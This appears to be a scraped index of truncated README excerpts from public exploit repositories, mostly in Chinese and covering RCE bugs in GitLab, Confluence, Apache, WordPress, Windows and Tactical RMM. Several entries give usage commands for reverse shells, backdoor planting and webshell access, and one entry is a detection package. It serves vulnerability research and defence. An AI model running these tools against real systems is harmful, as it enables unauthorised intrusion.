EUVD-2025-211039

This vulnerability in Veeam Backup & Replication allows a Backup Viewer to execute arbitrary code as SYSTEM on the backup server...

CVE-2025-64393

A critical vulnerability (CVSS 4.0: 9.4) exists in Veeam Backup & Replication (build 12.3.2.4854 and earlier version 12 builds) due to insecure deserialization of untrusted data received via the Mount Service . This flaw allows a low-privileged user with the Backup Viewer role to perform remote c...

CVE-2025-52078

🚨 CVE-2025-52078 - 未认证任意文件上传 - Writebot SaaS React 模板 本仓库包含针对 Writebot – AI 内容生成器 SaaS React 模板 中发现的 未认证任意文件上传 漏洞的概念验证漏洞利用代码。 🧠 产品页面： ThemeForest – Writebot 🆔 漏洞元数据 CWE-ID： CWE-434：危险类型文件的不受限上传 严重性： 中 版本： 3.1 向量字符串： CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N 分数： 6.5 漏洞利用类型： 远程代码执行（通过文件上传） 需要认证：...

CVE-2024-37054-MLflow-RCE

| / || | | || | / \ \ / / | |/| || | | | | | | | | |\ \ /\ / / | | | || | | | | || || | \ V V / || |||||| ||/ // | \ / || | | \ / | | | || | | | | | |/ \ | | | | | | | | /| || | || \ ||| || / | CVE-2024-37054：MLflow 远程代码执行 PoC 本仓库包含 CVE-2024-37054 的概念验证（PoC），这是 MLflow...

CVE-2020-10977

GitLab v12.4.0-12.8.1 RCE 完全基于 https://github.com/dotPY-hax/gitlabRCE，但该工具对我来说无法正常工作，且其 HTML 解析部分显得繁琐，因此我用 JS 重写了它。 使用方法 按常规方式启动一个反向 Shell 监听器，然后运行此脚本： TARGETURI="https://target" TARGETEMAILDOMAIN="laboratory.htb" \ TARGETUSER="test" TARGETPASSWORD="Test pass 123" \ LOCALIP="10.10.14.142"...

CVE-2021-1675

CVE-2021-1675 Impacket 实现的 PrintNightmare PoC，最初由 Zhiniang Peng @edwardzpeng 和 Xuefeng Li @lxf02942370 创建 已在完全修补的 2019 域控制器上测试 远程或本地执行恶意 DLL 安装 在运行漏洞利用程序之前，你需要先安装我的 Impacket 版本，之后就没问题了。 pip3 uninstall impacket git clone https://github.com/cube0x0/impacket cd impacket python3 ./setup.py install...

CVE-2020-9547

CVE-2020-9547：FasterXML/jackson-databind 远程代码执行漏洞...

CVE-2017-3881-exploit-cisco-

Cisco集群管理协议（CMP）处理代码中存在一个漏洞，影响Cisco IOS和Cisco IOS...

Confluence-CVE-2022-26134

Confluence-CVE-2022-26134 描述 Confluence 未授权远程代码执行漏洞：CVE-2022-26134 Confluence 是澳大利亚软件公司 Atlassian 开发的一款基于 Web 的企业维基。2022 年 6 月 2 日，Atlassian 为其 Confluence Server 和 Data Center 应用程序发布了安全公告，强调了一个严重级别的未经身份验证的远程代码执行漏洞。该 OGNL 注入 漏洞允许未经身份验证的用户在 Confluence Server 或 Data Center 实例上执行任意代码。 PoC Video PoC...

CVE-2021-41773

CVE-2021-41773 我开发了 CVE-2021-41773 的 POC，包含 RCE + cgi-bin 路径遍历 注意： 已在 APACHE2 2.4.49 上测试 您可以直接从 Docker 拉取存在漏洞的 Apache2 2.4.49 $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80 blueteamsteve/cve-2021-41773:no-cgid http://localhost:80 路径遍历 RCE 要求 gnome-terminal...

CVE-2022-30136

CVE-2022-30136 Windows 网络文件系统远程利用 PoC 作者：Ricardo Narvaja 仅供演示目的。完整利用程序适用于易受攻击的 Windows Server 系统。 查看分析文章 CVE-2022-30136 “Windows 网络文件系统漏洞”分析。 使用方法 对 CVE-2022-22029 “Windows 网络文件系统漏洞”的分析 我撰写本文旨在展示在开发滥用 CVE-2022-30136 漏洞的 Core Impact 利用程序“Windows 网络文件系统远程”时进行的分析过程。 1 漏洞 Windows...

CVE-2022-0847-Exploit-Implementation

CVE-2022-0847 利用实现 这是一个概念验证（POC），展示如何利用 CVE-2022-0847（"脏管道漏洞"）在远程机器上弹出反向 bash shell 以执行任意代码。 该漏洞仅影响 Linux 内核版本 5.8 及更高版本，但已在版本 5.16.11、5.15.25、5.10.102 及更高版本中得到修复。请更新你的内核 : 该漏洞由安全研究员 Max Kellermann 发现。我不会深入介绍该漏洞的细节，因为他在他的文章中比我做得更好；https://dirtypipe.cm4all.com/...

Confluence-EvilJar

aaaademo/Confluence-EvilJar 配合 CVE-2023-22515 后台上传jar包实现RCE git clone https://github.com/aaaademo/Confluence-EvilJar cd Confluence-EvilJar mvn package CMDshell http://confluence.local/plugins/servlet/testbin/cmServlet 哥斯拉webshell连接方式 http://confluence.local/plugins/servlet/testbin/gzServlet...

goahead-webserver-pre-5.1.5-RCE-PoC-CVE-2021-42342-

Goahead Web服务器（v5.1.5 之前版本）RCE 利用 PoC（CVE-2021-42342） William Bowling 最近发现了 Goahead Web 服务器中的一个漏洞，可导致被利用服务器上的远程代码执行（RCE）。 该问题存在于 5.1.5 版本之前，根据 Shodan 统计，影响约 280 万台互联网服务器。 现在已经有了 CVE：https://nvd.nist.gov/vuln/detail/CVE-2021-42342 该 RCE 的成因是：如果启用了文件上传过滤器，那么用户不仅可以上传文件，还可以同时设置用户表单变量。...

R2S_CVE-2025-55182

CVE-2025-55182 扫描器 用于 CVE-2025-55182 的漏洞扫描器 - Next.js 服务器操作中的远程代码执行。 关于 CVE-2025-55182 严重性: 严重 CVSS 待定 受影响版本: Next.js: 15.x 15.5.7, 16.0.x 16.0.7 React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 影响: 远程攻击者可以在运行易受攻击的 Next.js 应用（启用了服务器操作）的服务器上执行任意代码。该漏洞源于 React 服务器组件协议中对原型污染的不当处理。 修复版本: Next.js: ≥15.5.7 或...

wordpress_cropimage

WordPress 裁剪图片 CVE-2019-8943 一个用于WordPress裁剪图片CVE-2019-8943认证远程代码执行（RCE）的Python3脚本。它会植入一个恶意的PHP后门。 开始 执行程序 RCE python3 wprce.py -t http://wordpress.rce/ -u admin -p password -m twentytwenty 帮助 查看帮助菜单： python3 wprce.py -h 免责声明...

cve-2022-26809

CVE-2022-26809 检测针对 CVE-2022-26809 的尝试和成功利用，这是一个通过DCE/RPC的远程代码执行漏洞。此包在这篇Corelight博客文章中有详细描述。此包生成以下通知： CVE202226809::ExploitAttempt CVE202226809::ExploitSuccess 第一个在攻击尝试时生成，但不一定成功。第二个仅在检测到成功利用时触发，应立即进行调查。不会生成新的日志。此包可以使用zkg通过以下命令安装： $ zkg refresh $ zkg install cve-2022-26809 Corelight客户可以通过更新CVE包进行...

CVE-2025-69516

CVE-2025-69516 - Tactical RMM 远程代码执行 该仓库包含一个Python脚本，可自动利用Tactical RMM中的CVE-2025-69516 SSTI漏洞。已针对1.3.1版本进行测试。 使用方法 python xpl.py -d api.tactical.xyz -t SESSIONTOKEN -c "id" 链接 https://vulners.com/cve/CVE-2025-69516 https://gist.github.com/NtGabrielGomes/7c424367cc316fd7527f668ff076fece 免责声明...

CVE-2017-10952

CVE-2017-10952 以下是对 Foxit PDF 阅读器实施本地代码执行攻击的一个高级示例。此攻击的详细描述可在此处找到1。我已将1中链接到的漏洞文本描述复制粘贴到此处中，以便长期保存该描述——该描述由作者 Root 在 vulners.com 上撰写。 安装 Foxit 安装 FoxitReaderv8.3.0.14878.exe。按步骤完成安装过程。由于这只是一个演示如何利用此版本 Foxit PDF 阅读器的高级示例，因此无需修改浏览器或 Windows 默认应用程序设置来打开 PDF 文件；以下是一些安装截图，可帮助识别安装设置： 攻击演示 1. 安装 Foxit...

CVE-2022-40470

CVE-2022-40470 基于 CodeIgniter 的血型捐赠管理系统 - 1.0 中的跨站脚本漏洞 建议描述 Phpgurukul 血型捐赠管理系统 1.0 允许通过添加血型名称功能进行跨站脚本攻击。 附加信息 PoC: https://drive.google.com/file/d/1UDuez2CTscdWXYzyXLi3x8CMs9IWLL11/view?usp=sharing 漏洞类型 跨站脚本（XSS） 产品供应商 Phpgurukul 受影响产品代码库 基于 CodeIgniter 的血型捐赠管理系统 - 1.0 受影响组件 源代码 攻击类型 远程 影响代码执行 是...